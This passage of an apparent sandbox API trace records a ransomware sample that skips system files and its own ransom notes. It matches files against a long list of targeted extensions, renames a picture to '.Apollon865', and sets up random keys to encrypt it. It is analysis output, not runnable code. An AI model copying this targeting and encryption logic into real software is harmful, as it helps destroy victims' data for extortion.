	[0087.337] lstrlenW (lpString="owc") returned 3
	[0087.337] lstrcmpiW (lpString1="gif", lpString2="owc") returned -1
	[0087.337] lstrlenW (lpString="p96") returned 3
	[0087.337] lstrcmpiW (lpString1="gif", lpString2="p96") returned -1
	[0087.337] lstrlenW (lpString="p97") returned 3
	[0087.337] lstrcmpiW (lpString1="gif", lpString2="p97") returned -1
	[0087.337] lstrlenW (lpString="pan") returned 3
	[0087.337] lstrcmpiW (lpString1="gif", lpString2="pan") returned -1
	[0087.337] lstrlenW (lpString="pdb") returned 3
	[0087.337] lstrcmpiW (lpString1="gif", lpString2="pdb") returned -1
	[0087.337] lstrlenW (lpString="pdm") returned 3
	[0087.337] lstrcmpiW (lpString1="gif", lpString2="pdm") returned -1
	[0087.338] lstrlenW (lpString="pnz") returned 3
	[0087.338] lstrcmpiW (lpString1="gif", lpString2="pnz") returned -1
	[0087.338] lstrlenW (lpString="qry") returned 3
	[0087.338] lstrcmpiW (lpString1="gif", lpString2="qry") returned -1
	[0087.338] lstrlenW (lpString="qvd") returned 3
	[0087.338] lstrcmpiW (lpString1="gif", lpString2="qvd") returned -1
	[0087.338] lstrlenW (lpString="rbf") returned 3
	[0087.338] lstrcmpiW (lpString1="gif", lpString2="rbf") returned -1
	[0087.338] lstrlenW (lpString="rctd") returned 4
	[0087.338] lstrcmpiW (lpString1=".gif", lpString2="rctd") returned -1
	[0087.338] lstrlenW (lpString="rod") returned 3
	[0087.338] lstrcmpiW (lpString1="gif", lpString2="rod") returned -1
	[0087.338] lstrlenW (lpString="rodx") returned 4
	[0087.338] lstrcmpiW (lpString1=".gif", lpString2="rodx") returned -1
	[0087.338] lstrlenW (lpString="rpd") returned 3
	[0087.338] lstrcmpiW (lpString1="gif", lpString2="rpd") returned -1
	[0087.338] lstrlenW (lpString="rsd") returned 3
	[0087.338] lstrcmpiW (lpString1="gif", lpString2="rsd") returned -1
	[0087.338] lstrlenW (lpString="sas7bdat") returned 8
	[0087.338] lstrcmpiW (lpString1="fSVx.gif", lpString2="sas7bdat") returned -1
	[0087.338] lstrlenW (lpString="sbf") returned 3
	[0087.338] lstrcmpiW (lpString1="gif", lpString2="sbf") returned -1
	[0087.338] lstrlenW (lpString="scx") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="scx") returned -1
	[0087.339] lstrlenW (lpString="sdb") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="sdb") returned -1
	[0087.339] lstrlenW (lpString="sdc") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="sdc") returned -1
	[0087.339] lstrlenW (lpString="sdf") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="sdf") returned -1
	[0087.339] lstrlenW (lpString="sis") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="sis") returned -1
	[0087.339] lstrlenW (lpString="spq") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="spq") returned -1
	[0087.339] lstrlenW (lpString="te") returned 2
	[0087.339] lstrcmpiW (lpString1="if", lpString2="te") returned -1
	[0087.339] lstrlenW (lpString="teacher") returned 7
	[0087.339] lstrcmpiW (lpString1="SVx.gif", lpString2="teacher") returned -1
	[0087.339] lstrlenW (lpString="tmd") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="tmd") returned -1
	[0087.339] lstrlenW (lpString="tps") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="tps") returned -1
	[0087.339] lstrlenW (lpString="trc") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1
	[0087.339] lstrlenW (lpString="trc") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1
	[0087.339] lstrlenW (lpString="trm") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="trm") returned -1
	[0087.339] lstrlenW (lpString="udb") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="udb") returned -1
	[0087.339] lstrlenW (lpString="udl") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="udl") returned -1
	[0087.339] lstrlenW (lpString="usr") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="usr") returned -1
	[0087.339] lstrlenW (lpString="v12") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="v12") returned -1
	[0087.339] lstrlenW (lpString="vis") returned 3
	[0087.339] lstrcmpiW (lpString1="gif", lpString2="vis") returned -1
	[0087.340] lstrlenW (lpString="vpd") returned 3
	[0087.340] lstrcmpiW (lpString1="gif", lpString2="vpd") returned -1
	[0087.340] lstrlenW (lpString="vvv") returned 3
	[0087.340] lstrcmpiW (lpString1="gif", lpString2="vvv") returned -1
	[0087.340] lstrlenW (lpString="wdb") returned 3
	[0087.340] lstrcmpiW (lpString1="gif", lpString2="wdb") returned -1
	[0087.340] lstrlenW (lpString="wmdb") returned 4
	[0087.340] lstrcmpiW (lpString1=".gif", lpString2="wmdb") returned -1
	[0087.340] lstrlenW (lpString="wrk") returned 3
	[0087.340] lstrcmpiW (lpString1="gif", lpString2="wrk") returned -1
	[0087.340] lstrlenW (lpString="xdb") returned 3
	[0087.340] lstrcmpiW (lpString1="gif", lpString2="xdb") returned -1
	[0087.340] lstrlenW (lpString="xld") returned 3
	[0087.340] lstrcmpiW (lpString1="gif", lpString2="xld") returned -1
	[0087.340] lstrlenW (lpString="xmlff") returned 5
	[0087.340] lstrcmpiW (lpString1="x.gif", lpString2="xmlff") returned -1
	[0087.340] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\ON_bgqgpcKfSVx.gif.Apollon865") returned 83
	[0087.340] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\ON_bgqgpcKfSVx.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\on_bgqgpckfsvx.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\ON_bgqgpcKfSVx.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\on_bgqgpckfsvx.gif.apollon865"), dwFlags=0x1) returned 1
	[0087.341] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\ON_bgqgpcKfSVx.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\on_bgqgpckfsvx.gif.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.342] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=98543) returned 1
	[0087.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.342] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.343] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.343] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.343] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x183f0, lpName=0x0) returned 0x15c
	[0087.343] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x183f0) returned 0x120000
	[0087.347] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.348] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.348] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.348] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0087.349] CloseHandle (hObject=0x15c) returned 1
	[0087.349] CloseHandle (hObject=0x9c) returned 1
	[0087.350] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.350] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.350] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.351] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a22f30, ftCreationTime.dwHighDateTime=0x1d4d19b, ftLastAccessTime.dwLowDateTime=0x185232f0, ftLastAccessTime.dwHighDateTime=0x1d4c8ab, ftLastWriteTime.dwLowDateTime=0x185232f0, ftLastWriteTime.dwHighDateTime=0x1d4c8ab, nFileSizeHigh=0x0, nFileSizeLow=0x13b31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S4zg18tLwX5G0uLCLj.jpg", cAlternateFileName="S4ZG18~1.JPG")) returned 1
	[0087.351] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.351] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0087.351] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2=".") returned 1
	[0087.351] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2="..") returned 1
	[0087.351] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2="windows") returned -1
	[0087.351] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2="bootmgr") returned 1
	[0087.351] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2="temp") returned -1
	[0087.351] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2="pagefile.sys") returned 1
	[0087.351] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2="boot") returned 1
	[0087.351] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2="ids.txt") returned 1
	[0087.351] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2="ntuser.dat") returned 1
	[0087.352] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2="perflogs") returned 1
	[0087.352] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2="MSBuild") returned 1
	[0087.352] lstrlenW (lpString="S4zg18tLwX5G0uLCLj.jpg") returned 22
	[0087.352] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\ON_bgqgpcKfSVx.gif") returned 72
	[0087.352] lstrcpyW (in: lpString1=0x119e674, lpString2="S4zg18tLwX5G0uLCLj.jpg" | out: lpString1="S4zg18tLwX5G0uLCLj.jpg") returned="S4zg18tLwX5G0uLCLj.jpg"
	[0087.352] lstrlenW (lpString="S4zg18tLwX5G0uLCLj.jpg") returned 22
	[0087.352] lstrlenW (lpString="Apollon865") returned 10
	[0087.352] lstrcmpiW (lpString1="0uLCLj.jpg", lpString2="Apollon865") returned -1
	[0087.352] lstrlenW (lpString=".dll") returned 4
	[0087.352] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2=".dll") returned 1
	[0087.352] lstrlenW (lpString=".lnk") returned 4
	[0087.352] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2=".lnk") returned 1
	[0087.352] lstrlenW (lpString=".ini") returned 4
	[0087.352] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2=".ini") returned 1
	[0087.352] lstrlenW (lpString=".sys") returned 4
	[0087.352] lstrcmpiW (lpString1="S4zg18tLwX5G0uLCLj.jpg", lpString2=".sys") returned 1
	[0087.352] lstrlenW (lpString="S4zg18tLwX5G0uLCLj.jpg") returned 22
	[0087.352] lstrlenW (lpString="bak") returned 3
	[0087.352] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0087.352] lstrlenW (lpString="ba_") returned 3
	[0087.352] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0087.352] lstrlenW (lpString="dbb") returned 3
	[0087.352] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0087.352] lstrlenW (lpString="vmdk") returned 4
	[0087.352] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0087.352] lstrlenW (lpString="rar") returned 3
	[0087.352] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0087.352] lstrlenW (lpString="zip") returned 3
	[0087.352] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0087.352] lstrlenW (lpString="tgz") returned 3
	[0087.352] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0087.352] lstrlenW (lpString="vbox") returned 4
	[0087.352] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0087.352] lstrlenW (lpString="vdi") returned 3
	[0087.352] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0087.353] lstrlenW (lpString="vhd") returned 3
	[0087.353] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0087.353] lstrlenW (lpString="vhdx") returned 4
	[0087.353] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0087.353] lstrlenW (lpString="avhd") returned 4
	[0087.353] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0087.353] lstrlenW (lpString="db") returned 2
	[0087.353] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0087.353] lstrlenW (lpString="db2") returned 3
	[0087.353] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0087.353] lstrlenW (lpString="db3") returned 3
	[0087.353] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0087.353] lstrlenW (lpString="dbf") returned 3
	[0087.353] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0087.353] lstrlenW (lpString="mdf") returned 3
	[0087.353] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0087.353] lstrlenW (lpString="mdb") returned 3
	[0087.353] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0087.353] lstrlenW (lpString="sql") returned 3
	[0087.353] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0087.353] lstrlenW (lpString="sqlite") returned 6
	[0087.353] lstrcmpiW (lpString1="Lj.jpg", lpString2="sqlite") returned -1
	[0087.353] lstrlenW (lpString="sqlite3") returned 7
	[0087.353] lstrcmpiW (lpString1="CLj.jpg", lpString2="sqlite3") returned -1
	[0087.353] lstrlenW (lpString="sqlitedb") returned 8
	[0087.353] lstrcmpiW (lpString1="LCLj.jpg", lpString2="sqlitedb") returned -1
	[0087.353] lstrlenW (lpString="xml") returned 3
	[0087.353] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0087.353] lstrlenW (lpString="$er") returned 3
	[0087.353] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0087.353] lstrlenW (lpString="4dd") returned 3
	[0087.353] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0087.353] lstrlenW (lpString="4dl") returned 3
	[0087.353] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0087.354] lstrlenW (lpString="^^^") returned 3
	[0087.354] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0087.354] lstrlenW (lpString="abs") returned 3
	[0087.354] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0087.354] lstrlenW (lpString="abx") returned 3
	[0087.354] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0087.354] lstrlenW (lpString="accdb") returned 5
	[0087.354] lstrcmpiW (lpString1="j.jpg", lpString2="accdb") returned 1
	[0087.354] lstrlenW (lpString="accdc") returned 5
	[0087.354] lstrcmpiW (lpString1="j.jpg", lpString2="accdc") returned 1
	[0087.354] lstrlenW (lpString="accde") returned 5
	[0087.354] lstrcmpiW (lpString1="j.jpg", lpString2="accde") returned 1
	[0087.354] lstrlenW (lpString="accdr") returned 5
	[0087.354] lstrcmpiW (lpString1="j.jpg", lpString2="accdr") returned 1
	[0087.354] lstrlenW (lpString="accdt") returned 5
	[0087.354] lstrcmpiW (lpString1="j.jpg", lpString2="accdt") returned 1
	[0087.354] lstrlenW (lpString="accdw") returned 5
	[0087.354] lstrcmpiW (lpString1="j.jpg", lpString2="accdw") returned 1
	[0087.354] lstrlenW (lpString="accft") returned 5
	[0087.354] lstrcmpiW (lpString1="j.jpg", lpString2="accft") returned 1
	[0087.354] lstrlenW (lpString="adb") returned 3
	[0087.354] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0087.354] lstrlenW (lpString="adb") returned 3
	[0087.354] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0087.354] lstrlenW (lpString="ade") returned 3
	[0087.354] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0087.354] lstrlenW (lpString="adf") returned 3
	[0087.354] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0087.354] lstrlenW (lpString="adn") returned 3
	[0087.354] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0087.354] lstrlenW (lpString="adp") returned 3
	[0087.354] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0087.354] lstrlenW (lpString="alf") returned 3
	[0087.354] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0087.354] lstrlenW (lpString="ask") returned 3
	[0087.355] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0087.355] lstrlenW (lpString="btr") returned 3
	[0087.355] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0087.355] lstrlenW (lpString="cat") returned 3
	[0087.355] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0087.355] lstrlenW (lpString="cdb") returned 3
	[0087.355] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0087.355] lstrlenW (lpString="ckp") returned 3
	[0087.355] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0087.355] lstrlenW (lpString="cma") returned 3
	[0087.355] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0087.355] lstrlenW (lpString="cpd") returned 3
	[0087.355] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0087.355] lstrlenW (lpString="dacpac") returned 6
	[0087.355] lstrcmpiW (lpString1="Lj.jpg", lpString2="dacpac") returned 1
	[0087.355] lstrlenW (lpString="dad") returned 3
	[0087.355] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0087.355] lstrlenW (lpString="dadiagrams") returned 10
	[0087.355] lstrcmpiW (lpString1="0uLCLj.jpg", lpString2="dadiagrams") returned -1
	[0087.355] lstrlenW (lpString="daschema") returned 8
	[0087.355] lstrcmpiW (lpString1="LCLj.jpg", lpString2="daschema") returned 1
	[0087.355] lstrlenW (lpString="db-journal") returned 10
	[0087.355] lstrcmpiW (lpString1="0uLCLj.jpg", lpString2="db-journal") returned -1
	[0087.355] lstrlenW (lpString="db-shm") returned 6
	[0087.355] lstrcmpiW (lpString1="Lj.jpg", lpString2="db-shm") returned 1
	[0087.355] lstrlenW (lpString="db-wal") returned 6
	[0087.355] lstrcmpiW (lpString1="Lj.jpg", lpString2="db-wal") returned 1
	[0087.355] lstrlenW (lpString="dbc") returned 3
	[0087.355] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0087.355] lstrlenW (lpString="dbs") returned 3
	[0087.355] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0087.355] lstrlenW (lpString="dbt") returned 3
	[0087.355] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0087.355] lstrlenW (lpString="dbv") returned 3
	[0087.356] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0087.356] lstrlenW (lpString="dbx") returned 3
	[0087.356] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0087.356] lstrlenW (lpString="dcb") returned 3
	[0087.356] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0087.356] lstrlenW (lpString="dct") returned 3
	[0087.356] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0087.356] lstrlenW (lpString="dcx") returned 3
	[0087.356] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0087.356] lstrlenW (lpString="ddl") returned 3
	[0087.356] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0087.356] lstrlenW (lpString="dlis") returned 4
	[0087.356] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0087.356] lstrlenW (lpString="dp1") returned 3
	[0087.356] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0087.356] lstrlenW (lpString="dqy") returned 3
	[0087.356] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0087.356] lstrlenW (lpString="dsk") returned 3
	[0087.356] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0087.356] lstrlenW (lpString="dsn") returned 3
	[0087.356] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0087.356] lstrlenW (lpString="dtsx") returned 4
	[0087.356] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0087.356] lstrlenW (lpString="dxl") returned 3
	[0087.356] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0087.356] lstrlenW (lpString="eco") returned 3
	[0087.356] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0087.356] lstrlenW (lpString="ecx") returned 3
	[0087.356] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0087.356] lstrlenW (lpString="edb") returned 3
	[0087.356] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0087.356] lstrlenW (lpString="epim") returned 4
	[0087.356] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0087.356] lstrlenW (lpString="fcd") returned 3
	[0087.356] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0087.357] lstrlenW (lpString="fdb") returned 3
	[0087.357] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0087.357] lstrlenW (lpString="fic") returned 3
	[0087.357] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0087.357] lstrlenW (lpString="flexolibrary") returned 12
	[0087.357] lstrcmpiW (lpString1="5G0uLCLj.jpg", lpString2="flexolibrary") returned -1
	[0087.357] lstrlenW (lpString="fm5") returned 3
	[0087.357] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0087.357] lstrlenW (lpString="fmp") returned 3
	[0087.357] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0087.357] lstrlenW (lpString="fmp12") returned 5
	[0087.357] lstrcmpiW (lpString1="j.jpg", lpString2="fmp12") returned 1
	[0087.357] lstrlenW (lpString="fmpsl") returned 5
	[0087.357] lstrcmpiW (lpString1="j.jpg", lpString2="fmpsl") returned 1
	[0087.357] lstrlenW (lpString="fol") returned 3
	[0087.357] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0087.357] lstrlenW (lpString="fp3") returned 3
	[0087.357] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0087.357] lstrlenW (lpString="fp4") returned 3
	[0087.357] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0087.357] lstrlenW (lpString="fp5") returned 3
	[0087.357] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0087.357] lstrlenW (lpString="fp7") returned 3
	[0087.357] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0087.357] lstrlenW (lpString="fpt") returned 3
	[0087.357] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0087.357] lstrlenW (lpString="frm") returned 3
	[0087.357] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0087.357] lstrlenW (lpString="gdb") returned 3
	[0087.357] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0087.357] lstrlenW (lpString="gdb") returned 3
	[0087.357] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0087.357] lstrlenW (lpString="grdb") returned 4
	[0087.357] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0087.358] lstrlenW (lpString="gwi") returned 3
	[0087.358] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0087.358] lstrlenW (lpString="hdb") returned 3
	[0087.358] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0087.358] lstrlenW (lpString="his") returned 3
	[0087.358] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0087.358] lstrlenW (lpString="ib") returned 2
	[0087.358] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0087.358] lstrlenW (lpString="idb") returned 3
	[0087.358] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0087.358] lstrlenW (lpString="ihx") returned 3
	[0087.358] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0087.358] lstrlenW (lpString="itdb") returned 4
	[0087.358] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0087.358] lstrlenW (lpString="itw") returned 3
	[0087.358] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0087.358] lstrlenW (lpString="jet") returned 3
	[0087.358] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0087.358] lstrlenW (lpString="jtx") returned 3
	[0087.358] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0087.358] lstrlenW (lpString="kdb") returned 3
	[0087.358] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0087.358] lstrlenW (lpString="kexi") returned 4
	[0087.358] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0087.358] lstrlenW (lpString="kexic") returned 5
	[0087.358] lstrcmpiW (lpString1="j.jpg", lpString2="kexic") returned -1
	[0087.358] lstrlenW (lpString="kexis") returned 5
	[0087.358] lstrcmpiW (lpString1="j.jpg", lpString2="kexis") returned -1
	[0087.358] lstrlenW (lpString="lgc") returned 3
	[0087.358] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0087.358] lstrlenW (lpString="lwx") returned 3
	[0087.358] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0087.358] lstrlenW (lpString="maf") returned 3
	[0087.358] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0087.358] lstrlenW (lpString="maq") returned 3
	[0087.359] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0087.359] lstrlenW (lpString="mar") returned 3
	[0087.359] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0087.359] lstrlenW (lpString="marshal") returned 7
	[0087.359] lstrcmpiW (lpString1="CLj.jpg", lpString2="marshal") returned -1
	[0087.359] lstrlenW (lpString="mas") returned 3
	[0087.359] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0087.359] lstrlenW (lpString="mav") returned 3
	[0087.359] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0087.359] lstrlenW (lpString="maw") returned 3
	[0087.359] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0087.359] lstrlenW (lpString="mdbhtml") returned 7
